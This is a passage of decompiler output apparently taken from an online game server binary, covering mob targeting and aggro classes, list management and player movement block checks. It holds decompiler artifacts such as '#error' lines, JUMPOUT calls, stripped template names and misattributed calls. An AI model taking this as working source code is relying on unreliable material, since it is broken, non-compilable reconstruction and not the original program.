*)((char *)_Ptr + 12 * v8); v2->_Myfirst = (Navigator::NaviPoint *)_Ptr; } } //----- (00489FFB) -------------------------------------------------------- void __usercall _L164681(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (0048A020) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::NaviPoint _Val) { Navigator::NaviPoint *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Val); } //----- (0048A0F0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x15555555 ) std::vector>::_Xlen(this); v4 = operator new(12 * _Capacity); v2->_Myend = (Navigator::NaviPoint *)((char *)v4 + 12 * _Capacity); v2->_Myfirst = (Navigator::NaviPoint *)v4; v2->_Mylast = (Navigator::NaviPoint *)v4; result = 1; } else { result = 0; } return result; } //----- (0048A140) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { std::vector > *v2; // esi@1 int v3; // eax@1 _BYTE v4[12]; // ST04_12@1 Navigator::NaviPoint thisa; // [sp+4h] [bp-18h]@1 int v6; // [sp+18h] [bp-4h]@1 v2 = this; Navigator::NaviPoint::NaviPoint(&thisa); *(_QWORD *)v4 = *(_QWORD *)v3; *(_DWORD *)&v4[8] = *(_DWORD *)(v3 + 8); v6 = 0; std::vector>::resize( v2, _Newsize, *(Navigator::NaviPoint *)v4); v6 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); } //----- (0048A1B0) -------------------------------------------------------- void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve(&this->baseclass_0, maxsize); } //----- (0048A200) -------------------------------------------------------- void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve(&this->baseclass_0, maxsize); } //----- (0048A250) -------------------------------------------------------- #error "48A250: undefined or illegal type '#748' (funcsize=569)" //----- (0048AA00) -------------------------------------------------------- void __thiscall MobTargetBout::MobTargetBout(MobTargetBout *this) { MobTargetBout *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; v1->mtb_targetlist = 0; } // 5AE760: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); //----- (0048AA20) -------------------------------------------------------- void __thiscall MobTargetAggresive::MobTargetAggresive(MobTargetAggresive *this) { MobTargetAggresive *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0); v1->baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&v1->mta_InstanceTarget.mts_EnemyAnalyzer); } // 5AE790: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); //----- (0048AAD0) -------------------------------------------------------- void __thiscall MobTargetAggresive2::MobTargetAggresive2(MobTargetAggresive2 *this) { MobTargetAggresive2 *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&v1->baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive2::_vftable_; } // 5AE790: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); // 5AE7C8: using guessed type int (__thiscall *MobTargetAggresive2___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); //----- (0048AB30) -------------------------------------------------------- void __thiscall MobTargetAggresive2::_MobTargetAggresive2(MobTargetAggresive2 *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive2::_vftable_; MobTargetAggresive::_MobTargetAggresive(&this->baseclass_0); } // 5AE7C8: using guessed type int (__thiscall *MobTargetAggresive2___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); //----- (0048AB40) -------------------------------------------------------- void __thiscall MobTargetNoBrain::MobTargetNoBrain(MobTargetNoBrain *this) { MobTargetNoBrain *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0); v1->baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetNoBrain::_vftable_; } // 5AE800: using guessed type int (__stdcall *MobTargetNoBrain___vftable_)(int type, int slot, int distancesquar); //----- (0048AB60) -------------------------------------------------------- void __thiscall MobTargetBout::_MobTargetBout(MobTargetNoBrain *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; MobTargetSelector::_MobTargetSelector(&this->baseclass_0.baseclass_0); } // 5AE760: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); //----- (0048AB70) -------------------------------------------------------- #error "48AB70: undefined or illegal type '#331' (funcsize=32)" //----- (0048ABD0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)MobAggroManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5AE830: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (0048ABF0) -------------------------------------------------------- void __thiscall MobAggroManager::_MobAggroManager(MobAggroManager *this) { MobAggroManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; _eh_vector_destructor_iterator_( this->mam_Array, 0x20u, 10, (void (__thiscall *)(void *))MobTargetEraser::_MobTargetEraser); v1->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5AE830: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (0048AC60) -------------------------------------------------------- void *__thiscall MobTargetBout::_vector_deleting_destructor_(MobTargetNoBrain *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetBout::_MobTargetBout(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0048AC80) -------------------------------------------------------- void *__thiscall MobTargetAggresive::_scalar_deleting_destructor_(MobTargetAggresive *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresive::_MobTargetAggresive(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0048ACA0) -------------------------------------------------------- void *__thiscall MobTargetAggresive2::_vector_deleting_destructor_(MobTargetAggresive2 *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresive2::_MobTargetAggresive2(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0048ACC0) -------------------------------------------------------- void __thiscall MobTargetBout::mts_SlayerList(MobTargetBout *this, PROTO_NC_BAT_MOBSLAYER_CMD *pack, unsigned __int16 mob) { List *v3; // ecx@1 int (__stdcall **sc)(int, __int16); // [sp+4h] [bp-14h]@1 PROTO_NC_BAT_MOBSLAYER_CMD *v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 v5 = pack; sc = &SlayerCollect::_vftable_; pack->number = 0; v5->killedmob = mob; v3 = (List *)this->mtb_targetlist; v6 = 0; List::l_4AllInList(v3, (ListIteratorDefault *)&sc); } // 5AE84C: using guessed type int (__stdcall *SlayerCollect___vftable_)(int ele, __int16 handle); //----- (0048AD20) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0048AE40) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MobTargetStruct *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MobTargetStruct::operator_(v3, (int)ele); return 1; } // 48AE55: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0048AE70) -------------------------------------------------------- #error "48AE70: undefined or illegal type '#331' (funcsize=26)" //----- (0048AEC0) -------------------------------------------------------- #error "48AEC0: undefined or illegal type '#331' (funcsize=40)" //----- (0048AF30) -------------------------------------------------------- #error "48AF30: undefined or illegal type '#331' (funcsize=40)" //----- (0048AFA0) -------------------------------------------------------- void __thiscall MobAggroManager::MobAggroManager(MobAggroManager *this) { MobAggroManager *v1; // esi@1 ListStruct *v2; // eax@2 ListStruct *v3; // eax@5 ListStruct *v4; // eax@8 ListStruct *v5; // eax@11 ListStruct *v6; // eax@14 ListStruct *v7; // eax@17 ListStruct *v8; // eax@20 ListStruct *v9; // eax@23 ListStruct *v10; // eax@26 ListStruct *v11; // eax@29 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xAu); v1->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; _eh_vector_constructor_iterator_( v1->mam_Array, 0x20u, 10, (void (__thiscall *)(void *))MobTargetStruct::MobTargetStruct, (void (__thiscall *)(void *))MobTargetEraser::_MobTargetEraser); if ( v1->baseclass_0.l_MaxSize ) { v2 = v1->baseclass_0.l_Array; if ( !v2->ls_Content ) v2->ls_Content = v1->mam_Array; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v3 = v1->baseclass_0.l_Array; if ( !v3[1].ls_Content ) v3[1].ls_Content = &v1->mam_Array[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[2].ls_Content ) v4[2].ls_Content = &v1->mam_Array[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[3].ls_Content ) v5[3].ls_Content = &v1->mam_Array[3]; } if ( v1->baseclass_0.l_MaxSize > 4u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[4].ls_Content ) v6[4].ls_Content = &v1->mam_Array[4]; } if ( v1->baseclass_0.l_MaxSize > 5u ) { v7 = v1->baseclass_0.l_Array; if ( !v7[5].ls_Content ) v7[5].ls_Content = &v1->mam_Array[5]; } if ( v1->baseclass_0.l_MaxSize > 6u ) { v8 = v1->baseclass_0.l_Array; if ( !v8[6].ls_Content ) v8[6].ls_Content = &v1->mam_Array[6]; } if ( v1->baseclass_0.l_MaxSize > 7u ) { v9 = v1->baseclass_0.l_Array; if ( !v9[7].ls_Content ) v9[7].ls_Content = &v1->mam_Array[7]; } if ( v1->baseclass_0.l_MaxSize > 8u ) { v10 = v1->baseclass_0.l_Array; if ( !v10[8].ls_Content ) v10[8].ls_Content = &v1->mam_Array[8]; } if ( v1->baseclass_0.l_MaxSize > 9u ) { v11 = v1->baseclass_0.l_Array; if ( !v11[9].ls_Content ) v11[9].ls_Content = &v1->mam_Array[9]; } } // 5AE830: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (0048B100) -------------------------------------------------------- #error "48B100: undefined or illegal type '#748' (funcsize=67)" //----- (0048B1B0) -------------------------------------------------------- void __thiscall AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove(AxialListBriefExchangerAtMove *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefExchangerAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AE87C: using guessed type int (__stdcall *AxialListBriefExchangerAtMove___vftable_)(#331 *myself, int, int distancesquar); //----- (0048B1C0) -------------------------------------------------------- void __thiscall AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove(AxialListBriefDeleteAtMove *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefDeleteAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AE880: using guessed type int (__stdcall *AxialListBriefDeleteAtMove___vftable_)(int, int, int distancesquar); //----- (0048B1D0) -------------------------------------------------------- #error "48B1D0: undefined or illegal type '#748' (funcsize=85)" //----- (0048B2F0) -------------------------------------------------------- #error "48B2F0: undefined or illegal type '#331' (funcsize=106)" //----- (0048B450) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange(void *this, int goal) { void *v2; // esi@1 int v3; // eax@1 int (__stdcall **briefexchanger)(#331 *, int, int); // [sp+8h] [bp-14h]@1 int v5; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&briefexchanger); briefexchanger = &AxialListBriefExchangerAtMove::_vftable_; v5 = goal; LOBYTE(v6) = 1; v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v3, goal, 0, 0, (int)&briefexchanger, 0, 65535); LOBYTE(v6) = 0; briefexchanger = &AxialListBriefExchangerAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&briefexchanger); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"); } // 5AE87C: using guessed type int (__stdcall *AxialListBriefExchangerAtMove___vftable_)(#331 *myself, int, int distancesquar); //----- (0048B540) -------------------------------------------------------- #error "48B540: undefined or illegal type '#331' (funcsize=100)" //----- (0048B680) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_OldObjectDelete(void *this, int from) { void *v2; // esi@1 int v3; // eax@1 int (__stdcall **briefdelete)(int, int, int); // [sp+8h] [bp-14h]@1 int v5; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&briefdelete); briefdelete = &AxialListBriefDeleteAtMove::_vftable_; v5 = from; LOBYTE(v6) = 1; v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v3, from, 0, 0, (int)&briefdelete, 0, 65535); LOBYTE(v6) = 0; briefdelete = &AxialListBriefDeleteAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&briefdelete); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"); } // 5AE880: using guessed type int (__stdcall *AxialListBriefDeleteAtMove___vftable_)(int, int, int distancesquar); //----- (0048B770) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocateFrom(void *this, int from, int locate, int distance, int div, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)) { char result; // al@2 int v7; // ebx@3 int v8; // eax@3 int v9; // ecx@3 int v10; // edi@3 signed int v11; // esi@3 int v12; // eax@3 int v13; // edi@6 int ycoord; // [sp+10h] [bp-30h]@3 void *v15; // [sp+14h] [bp-2Ch]@1 int v16; // [sp+18h] [bp-28h]@3 int dy; // [sp+1Ch] [bp-24h]@3 VectorClass::VectorWithLength movevector; // [sp+24h] [bp-1Ch]@1 int v19; // [sp+3Ch] [bp-4h]@1 signed int froma; // [sp+44h] [bp+4h]@4 signed int locatea; // [sp+48h] [bp+8h]@4 signed int distancea; // [sp+4Ch] [bp+Ch]@3 int diva; // [sp+50h] [bp+10h]@3 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; VectorClass::VectorWithLength::VectorWithLength(&movevector, (SHINE_XY_TYPE *)from, (SHINE_XY_TYPE *)locate); LOBYTE(v19) = 1; if ( VectorClass::VectorWithLength::vwl_GetLength((int)&movevector) <= distance + 10 ) { v7 = div; *(_DWORD *)div = *(_DWORD *)from; *(_DWORD *)(div + 4) = *(_DWORD *)(from + 4); v8 = VectorClass::VectorWithLength::vwl_GetLength((int)&movevector); v9 = *(_DWORD *)from; v10 = *(_DWORD *)(from + 4); v11 = v8 / 8 + 1; v12 = *(_DWORD *)locate - *(_DWORD *)from; diva = *(_DWORD *)from; ycoord = *(_DWORD *)(from + 4); v16 = *(_DWORD *)locate - *(_DWORD *)from; dy = *(_DWORD *)(locate + 4) - v10; distancea = 1; if ( v11 >= 1 ) { froma = *(_DWORD *)(locate + 4) - v10; locatea = v12; while ( 1 ) { v13 = v9 + locatea / v11; if ( (unsigned __int8)xcoord(*(_DWORD *)(*(_DWORD *)((char *)v15 + 98) + 20), v13, ycoord + froma / v11) ) break; *(_DWORD *)v7 = v13; *(_DWORD *)(v7 + 4) = ycoord + froma / v11; ++distancea; locatea += v16; froma += dy; if ( distancea > v11 ) break; v9 = diva; } } LOBYTE(v19) = 0; VectorClass::VectorWithLength::_VectorWithLength(&movevector); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); result = 1; } else { LOBYTE(v19) = 0; VectorClass::VectorWithLength::_VectorWithLength(&movevector); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); result = 0; } return result; } //----- (0048B930) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineMobileObject::smo_BlockCheck(int finalx, int finaly) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BlockCheck"); return 1; } //----- (0048B980) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(void *this, unsigned int x, unsigned int y) { void *v3; // esi@1 bool v4; // bl@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "g_MoveBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "g_MoveBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_MoveBlockCheck"); return v4; } //----- (0048BA50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(void *this, unsigned int x, unsigned int y) { void *v3; // esi@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "g_FindEmpty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "g_FindEmpty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_FindEmpty"); result = 1; } else { *((_DWORD *)v3 + 23135) = x; *((_DWORD *)v3 + 23136) = y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_FindEmpty"); result = 0; } return result; } //----- (0048BB50) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineMobileObject::smo_StopBlockCheck() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"); return 1; } //----- (0048BBA0) -------------------------------------------------------- #error "48BBA0: undefined or illegal type '#748' (funcsize=253)" //----- (0048BEB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocate(void *this, int locate, int distance, int goal, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { void *v5; // esi@1 char v6; // al@1 char v7; // bl@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FindBlockLocate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = ShineObjectClass::ShineObject::so_FindBlockLocateFrom( v5, *(_DWORD *)((char *)v5 + 78), locate, distance, goal, mbi_blockfunction); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocate"); return v7; } //----- (0048BF70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_BlockCheck(void *this, unsigned int finalx, unsigned int finaly) { void *v3; // esi@1 int v4; // ecx@1 int v5; // edx@2 int v6; // eax@2 int v8; // ecx@4 int v9; // eax@4 int v10; // ecx@4 int v11; // eax@10 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v13; // [sp+18h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_BlockCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_BlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); v13 = 0; if ( !v4 ) { v5 = *((_DWORD *)v3 + 35); *((_DWORD *)v3 + 36) = 0; *((_DWORD *)v3 + 42) = 0; *((_DWORD *)v3 + 43) = 0; *((_DWORD *)v3 + 44) = 0; *((_DWORD *)v3 + 45) = 0; *((_DWORD *)v3 + 46) = 0; *((_DWORD *)v3 + 37) = 0; v6 = *(_DWORD *)(v5 + 78); *((_DWORD *)v3 + 40) = *(_DWORD *)v6; *((_DWORD *)v3 + 41) = *(_DWORD *)(v6 + 4); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2528))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2536))(v3); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); return 0; } if ( ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(v3, finalx, finaly) ) { v8 = *(_DWORD *)((char *)v3 + 78); v9 = *(_DWORD *)v8 - *((_DWORD *)v3 + 23135); v10 = *(_DWORD *)(v8 + 4) - *((_DWORD *)v3 + 23136); if ( (unsigned int)(v9 * v9 + v10 * v10) >= 0x384 && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx + 10, finaly) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx - 10, finaly) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx, finaly + 10) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx, finaly - 10) ) { ShineObjectClass::ShineObject::so_MoveTo(v3, *((_DWORD *)v3 + 23135), *((_DWORD *)v3 + 23136), 10); MoveManager::mm_Halt((MoveManager *)((char *)v3 + 140)); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2528))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2536))(v3); v13 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } } else { v11 = *(_DWORD *)((char *)v3 + 78); *((_DWORD *)v3 + 23135) = *(_DWORD *)v11; *((_DWORD *)v3 + 23136) = *(_DWORD *)(v11 + 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); return 1; } // 438B20: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0048C190) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_StopBlockCheck(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edx@4 int v4; // eax@4 int v6; // edx@6 int v7; // eax@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 78); if ( *((_DWORD *)v1 + 23135) != *(_DWORD *)v2 || *((_DWORD *)v1 + 23136) != *(_DWORD *)(v2 + 4) ) { if 